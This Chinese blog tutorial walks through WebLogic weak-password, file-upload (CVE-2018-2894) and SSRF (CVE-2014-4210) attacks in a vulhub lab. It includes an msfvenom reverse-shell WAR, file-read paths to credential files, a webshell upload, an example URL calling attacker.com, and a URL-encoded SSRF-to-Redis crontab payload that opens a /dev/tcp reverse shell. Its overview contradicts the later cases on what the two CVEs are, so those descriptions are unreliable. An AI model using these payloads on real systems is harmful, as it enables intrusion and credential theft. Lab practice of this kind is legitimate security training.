Weblogic漏洞:潘多拉魔盒中的秘密

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


目录

Weblogic概述

一、弱密码漏洞(Weak-Password)

技术原理

攻击方式

防御措施

二、CVE-2018-2894

技术原理

攻击方式

防御措施

三、CVE-2014-4210

技术原理

攻击方式

防御措施

四、修复措施

五:环境安装准备

1.安装虚拟机

2.配置静态ip

3.连接Xshell

4.替换yum源为阿里云源

5.更新/安装Docker

6.安装安装docker-compose

7.安装vulhub

8.试运行靶场

案例一:弱口令,任意文件读取(weak-password)

漏洞一:弱口令

漏洞二:weak-password任意文件读取漏洞

文件任意读取路径的来源

1. 目录遍历漏洞利用

2. 日志文件泄露

3. 配置文件定位

4.密文与密钥路径的关联

4.利用弱口令

案例二:Weblogic 任意文件上传漏洞(CVE-2018-2894)复现

案例三:Weblogic SSRF 漏洞(CVE-2014-4210)

总结


Weblogic概述

定义
WebLogic是由Oracle开发的企业级Java应用服务器(Java EE),用于构建、部署和管理分布式Web应用。其广泛应用于金融、电信、政府等领域,支持高并发和复杂业务逻辑。
核心功能

  • 支持EJB、JMS、Servlet/JSP等Java EE规范

  • 提供集群、负载均衡、故障转移等高可用性机制

  • 集成安全管理模块(如SSL、ACL)


一、弱密码漏洞(Weak-Password)

漏洞类型:身份验证缺陷
影响版本:所有使用默认凭证的WebLogic版本
CVE编号:无独立CVE(通常作为其他漏洞的辅助利用条件)

技术原理
  • WebLogic默认管理员账户为weblogic,初始密码为weblogic1welcome1

  • 若未修改默认密码,攻击者可暴力破解或直接登录管理控制台(Console),获取服务器控制权。

攻击方式
  1. 访问管理控制台:http://<target>:7001/console

  2. 尝试默认凭证登录,成功后执行以下操作:

    • 部署恶意WAR文件(Webshell)

    • 修改数据源配置窃取数据库凭据

    • 触发反序列化漏洞实现远程代码执行(RCE)

防御措施
  1. 强制修改默认密码

    • 使用强密码策略(长度≥12位,含大小写字母、数字、特殊字符)。

  2. 限制控制台访问

    • 配置防火墙规则,仅允许特定IP访问7001端口。

  3. 启用账户锁定机制

    <!-- 在config.xml中配置 -->
    <sec:password-validation>
      <sec:lockout-enabled>true</sec:lockout-enabled>
      <sec:lockout-threshold>5</sec:lockout-threshold>
    </sec:password-validation>

    运行 HTML


二、CVE-2018-2894

漏洞类型:远程代码执行(RCE)
影响版本:WebLogic 10.3.6.0, 12.1.3.0, 12.2.1.2/3
CVSS评分:9.8(Critical)

技术原理
  • WebLogic WLS Core Components反序列化漏洞。

  • 攻击者通过构造恶意的T3协议请求,触发FilterExtractor类的反序列化操作,导致任意代码执行。

攻击方式
  1. 利用T3协议发送恶意序列化对象:

    # 伪代码示例(仅原理说明)
    send_t3_request(target_ip, crafted_serialized_payload)
  2. 执行命令:如创建Webshell、启动反向Shell等。

防御措施
  1. 升级补丁

  2. 禁用T3协议

    <protocols>
      <t3-enabled>false</t3-enabled>
    </protocols>

    运行 HTML

  3. 网络隔离

    • 限制T3端口(默认7001)仅对内网开放。


三、CVE-2014-4210

漏洞类型:目录遍历/信息泄露
影响版本:WebLogic 10.0.2.0, 10.3.6.0
CVSS评分:5.0(Medium)

技术原理
  • WebLogic的uddiexplorer组件未对用户输入路径进行过滤,攻击者可利用../遍历读取服务器任意文件。

攻击方式
  1. 构造恶意URL读取敏感文件:

    GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&publicid=file:///etc/passwd HTTP/1.1
  2. 泄露文件示例:

    • /etc/passwd

    • DOMAIN_HOME/config/config.xml

防御措施
  1. 删除未使用组件

    rm -rf $WEBLOGIC_HOME/server/lib/uddiexplorer.war
  2. 配置访问控制

    • web.xml中限制uddiexplorer路径的访问权限。

  3. 升级版本

    • 升级至WebLogic 12c及以上版本(已默认修复)。


四、修复措施

漏洞修复方案
弱密码强制密码复杂度 + 定期轮换 + 启用账户锁定
CVE-2018-2894安装Oracle补丁 + 禁用T3协议 + 监控异常反序列化请求
CVE-2014-4210删除uddiexplorer组件 + 配置文件访问白名单

五:环境安装准备

1.安装虚拟机

第一步安装虚拟机centos7和kali虚拟机(这是为了复现weblogic漏洞使用,这步我就不演示了如果不会安装网上有很多教程)centos7为漏洞靶机kali为攻击机


2.配置静态ip

编辑此虚拟机(改为VMnet8)

虚拟机网络设置

打开如下图

选择NAT模式(将ip设置为主机ip的前三位后一位必须为0.就比如我的主机ip为192.168.13.111,然后我设置如下ip为192.168.13.0)

登录centos修改配置文件

打开终端以root身份登录输入 vi /etc/sysconfig/network-scripts/ifcfg-ens33,修改如下内容

BOOTPROTO需要改成static

ONBOOT改成yes

修改完界面后添加如下内容

IPADDR="192.168.13.66"

NETMASK="255.255.255.0"

DNS1="114.114.114.114"

GATEWAY="192.168.13.2"

红色为你主机ip的前三为后面的66为自定义。GATEWAY中红色为主机ip后一位必须为2

修改后如下图

查看本机是否能ping通192.168.13.66,成功ping通

查看虚拟机是否能ping通百度,也是可以的

静态ip配置完成


3.连接Xshell

安装自行在网上找教程

打开Xshell,将需要连接的虚拟机ip填入

输入虚拟机账号密码,建议输入root账号密码

连接成功


4.替换yum源为阿里云源

备份备份官方yum源配置文件

cp /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.bak

清理缓存并生成新的缓存

命令:

yum clean all

yum makecache


5.更新/安装Docker

查看是否安装Docker CE

yum list docker-ce --showduplicates | sort -r

Error: No matching Packages to list代表没有安装。


如果有结果,需要先卸载

yum erase docker \

                  docker-client \

                  docker-client-latest \

                  docker-common \

                  docker-latest \

                  docker-latest-logrotate \

                  docker-logrotate \

                  docker-selinux \

                  docker-engine-selinux \

                  docker-engine \

                  docker-ce

删除相关配置文件

find /etc/systemd -name '*docker*' -exec rm -f {} \;

find /etc/systemd -name '*docker*' -exec rm -f {} \;

find /lib/systemd -name '*docker*' -exec rm -f {} \;


安装最新版Docker CE

添加yum源,命令:

yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

更新 yum 缓存:

sudo yum makecache fast

先安装相关依赖:

yum install -y yum-utils  device-mapper-persistent-data lvm2

安装Docker CE最新版(大概需要下载104M):

yum install docker-ce -y

验证安装结果

启动docker

systemctl start docker

查看docker版本

docker version

安装成功


设置Docker镜像加速

vi  /etc/docker/daemon.json

{"registry-mirrors":["https://reg-mirror.qiniu.com/"]}

按Esc退出编辑模式,输入

:wq

重启服务

sudo systemctl daemon-reload

sudo systemctl restart docker


6.安装安装docker-compose

curl -L https://github.com/docker/compose/releases/download/1.29.2/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose

遇到如上问题

通过阿里云镜像安装

curl -L http://mirrors.aliyun.com/docker-toolbox/linux/compose/v1.29.2/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose

安装成功


7.安装vulhub

mkdir -p /var/local/soft/

cd /var/local/soft/

yum -y install git

git clone https://github.com/vulhub/vulhub.git(我用这个安装不成功)

尝试了很多镜像都无法安装,最后我尝试了

成功安装


8.试运行靶场

运行fastjson漏洞靶场

cd fastjson/1.2.24-rce

docker-compose build

执行docker-compose up -d(我执行这个死活运行不起来)

解决办法 

换源

sudo mkdir -p /etc/docker

vim /etc/docker/daemon.json

添加如下内容

{

  "registry-mirrors" : ["https://docker.registry.cyou",

"https://docker-cf.registry.cyou",

"https://dockercf.jsdelivr.fyi",

"https://docker.jsdelivr.fyi",

"https://dockertest.jsdelivr.fyi",

"https://mirror.aliyuncs.com",

"https://dockerproxy.com",

"https://mirror.baidubce.com",

"https://docker.m.daocloud.io",

"https://docker.nju.edu.cn",

"https://docker.mirrors.sjtug.sjtu.edu.cn",

"https://docker.mirrors.ustc.edu.cn",

"https://mirror.iscas.ac.cn",

"https://docker.rainbond.cc",

"https://do.nark.eu.org",

"https://dc.j8.work",

"https://dockerproxy.com",

"https://gst6rzl9.mirror.aliyuncs.com",

"https://registry.docker-cn.com",

"http://hub-mirror.c.163.com",

"http://mirrors.ustc.edu.cn/",

"https://mirrors.tuna.tsinghua.edu.cn/",

"http://mirrors.sohu.com/"

],

 "insecure-registries" : [

    "registry.docker-cn.com",

    "docker.mirrors.ustc.edu.cn"

    ],

"debug": true,

"experimental": false

}

sudo systemctl daemon-reload  重启生效

sudo systemctl restart docker  重启服务

docker info  检查配置,如果出现如下配置成功

最后执行docker compose up -d成功启动容器

安装成功


查看端口

docker-compose ps

docker ps

IP通过ip addr或者ifconfig查看

根据上面的IP和端口访问靶场:

http://192.168.13.66:8090/

成功访问到靶场

最后关闭靶场docker-compose down

docker-compose up -d // 拉取、启动
docker-compose ps // 查看进程
docker-compose stop // 停止
每一次使用完靶场都需要停止命令,否则运行别的靶场不会成功

案例一:弱口令,任意文件读取(weak-password

漏洞一:弱口令

启动靶场

 cd weblogic   

 docker-compose build

docker-compose up -d

docker-compose ps

docker ps

首先打开bp抓包复现第一个弱口令漏洞

这里我使用集群炸弹攻击并象征性的选取的账号集和密码集

可以看到账号密码就是排在第一位的。弱口令漏洞复现成功

以root用户登录成功,经过我们筛查我们发现可以部署应用所以然后我们制作一个war包来获取网站的shell

通过kali虚拟机(还记得之前的redis漏洞利用方法吗?利用msf生成一个java架包的反弹连接)

命令:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.142.162  lport=4444 -f war -o java.war

生成war包成功然后我们在打开一个kali监听4444端口

监听成功

然后我们将生成的war包移动到win机器中

移动成功(使用xftp)

在部署中找到上载文件将war上传后后点击下一步就ok

上传成功(记得点击保存)

然后我们访问/java然后观察kali监听机的变化

成功连接


漏洞二:weak-password任意文件读取漏洞

漏洞利用点:http://192.168.13.66:7001/hello/file.jsp?path=/etc/passwd   可以成功读取到password文件

打开此链接

既然存在这个任意文件读取漏洞那我们是不是就可以修改路径访问其目录下的密码。但是weblogic密码使用AES加密所以我们需要再找到他的秘钥也就是需要找到密文和秘钥然后使用工具就可以拿到登录密码。

密文路径:192.168.13.66:7001/hello/file.jsp?path=security/SerializedSystemIni.dat

秘钥路径:192.168.13.66:7001/hello/file.jsp?path=config/config.xml

使用bp抓包输入密文路径然后将其保存为111.bat文件

输入秘钥路径,复制秘钥

打开解密工具进行解密(文件为密文,密文为秘钥)

解密成功


有人可能会问,你怎么知道漏洞路径密文秘钥路径?

文件任意读取路径的来源

1. 目录遍历漏洞利用

通过构造包含特殊字符(如../)的URL请求,尝试读取以下默认敏感文件路径:

/../../../../etc/passwd  
/lib/consoleapp/webapp/WEB-INF/classes/com/bea/console/version.properties
2. 日志文件泄露

Weblogic默认日志文件路径(可能包含敏感信息):

DOMAIN_HOME/servers/AdminServer/logs/access.log  
DOMAIN_HOME/servers/AdminServer/logs/AdminServer.log
3. 配置文件定位

关键配置文件默认存储路径:

DOMAIN_HOME/config/config.xml          # 包含加密后的数据源密码 
DOMAIN_HOME/security/boot.properties  # 加密的管理员密码


4.密文与密钥路径的关联

加密密码存储机制

Weblogic使用AES加密算法保护的敏感文件:

  • boot.properties 中的 password 字段

  • config.xml 中的数据库连接密码

密钥存储位置

加密密钥默认存放路径:

DOMAIN_HOME/security/DemoIdentity.jks  # 默认密钥库 
DOMAIN_HOME/security/DemoTrust.jks     # 信任库

 密文解密依赖

需同时获取以下内容方可解密:

  • 密文文件(如boot.properties

  • 对应的密钥库文件(DemoIdentity.jks

  • 加密使用的盐值(Salt)和初始化向量(IV)

4.利用弱口令

或现利用弱口令登录管理后台然后注入一句话木马利用蚁剑连接目录敏感文件


案例二:Weblogic 任意文件上传漏洞(CVE-2018-2894)复现

此漏洞由于管理员开启了web测试页导致任意文件上传,所以我们需要先登录到后台开启这个功能才能复现

跳转到靶场目录

开启环境docker-compose up -d第一次打开需要几分钟时间,耐心等待

启动成功

查看靶场登录密码

成功登录进去,点击base_domain可看到设置页面,然后点击高级,勾选启用Web服务测试页然后点击保存

访问http://192.168.13.66:7001/ws_utc/config.do如果能成功说明web测试页功能未关闭。

修改工作路径:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css(将其放入有写入执行权限的目录)

然后点击安全将事先准备好的木马文件上传

按F12键将箭头移动到“1”就可以找到时间戳

然后就可以访问木马文件:http://192.168.13.66:7001/ws_utc/css/config/keystore/1742829759493_dama.jsp

木马文件密码为password

然后就可以通过这个木马文件任意操作命令

例如扫描端口

总结:漏洞原因是由于管理人员忘记关闭web测试页导致漏洞的发生


案例三:Weblogic SSRF 漏洞(CVE-2014-4210)

第一步:关闭上一个靶场开启这个靶场

第二步:获取redis容器内网ip :172.20.0.2(这个在实战中是利用SSRF漏洞探测内网ip而来这个为了省时间就直接给)

第三步:漏洞发生点

通过bp抓包查看,仔细查看

Operato,是请求一个url, 访问一个可以访问的IP

那我们先利用这个点探测http://127.0.0.1:80

报错说发生没有这个地址无法连接

然后我们在尝试探测http://192.168.13.66  看看报错信息是什么

报错信息说收到来自这个ip的响应但不是soap格式,这就不能说明这个ip的这个端口开放。所以我们可以通过报错信息来探测内网ip

经过我们的探测发现redis的172.20.0.2:6379端口是开放的,所以我们就可以通过这个存在ssrf漏洞的服务器攻击内网redis


构建payload

payload(反弹连接,参考之前文章--redis漏洞的

Payload:set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >&

/dev/tcp/192.168.13.130/7777 0>&1' \n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save

根据redis协议我们需要将payload进行URL编码然后将%0A替换成 %0D%0A(Redis协议以 CRLF 结尾(即“\r\n”))

通过以下网站实现

http://www.kuquidc.com/enc/urlencode.php

网站编码后:set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%0A%2Fdev%2Ftcp%2F192.168.13.130%2F7777%200%3E%261'%20%5Cn%5Cn%5Cn%5Cn%22%20config%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave

将%0A替换为%0D%0A

最终payload:

operator=http://172.20.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%

5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-

6%20root%20bash%20-c%20'sh%20-

i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.13.130%2F7777%200%3E%

261'%20%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2F

etc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0

D%0Alalala

启动kali监听nc -lvp 7777

打开bp注入payload,然后查看是否连接成功

连接成功

如果你反复无法连接成功查看响应格式是否正确


总结

本文具体介绍了Weblogic漏洞的三个案例,如果你通过本文安装练习遇到诸多问题可以和博主联系或自行使用AI工具解决。还有五个案例后续会具体介绍,感兴趣请关注。

(需要源代码联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全瞭望Sec

感谢您的打赏,您的支持让我更加

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值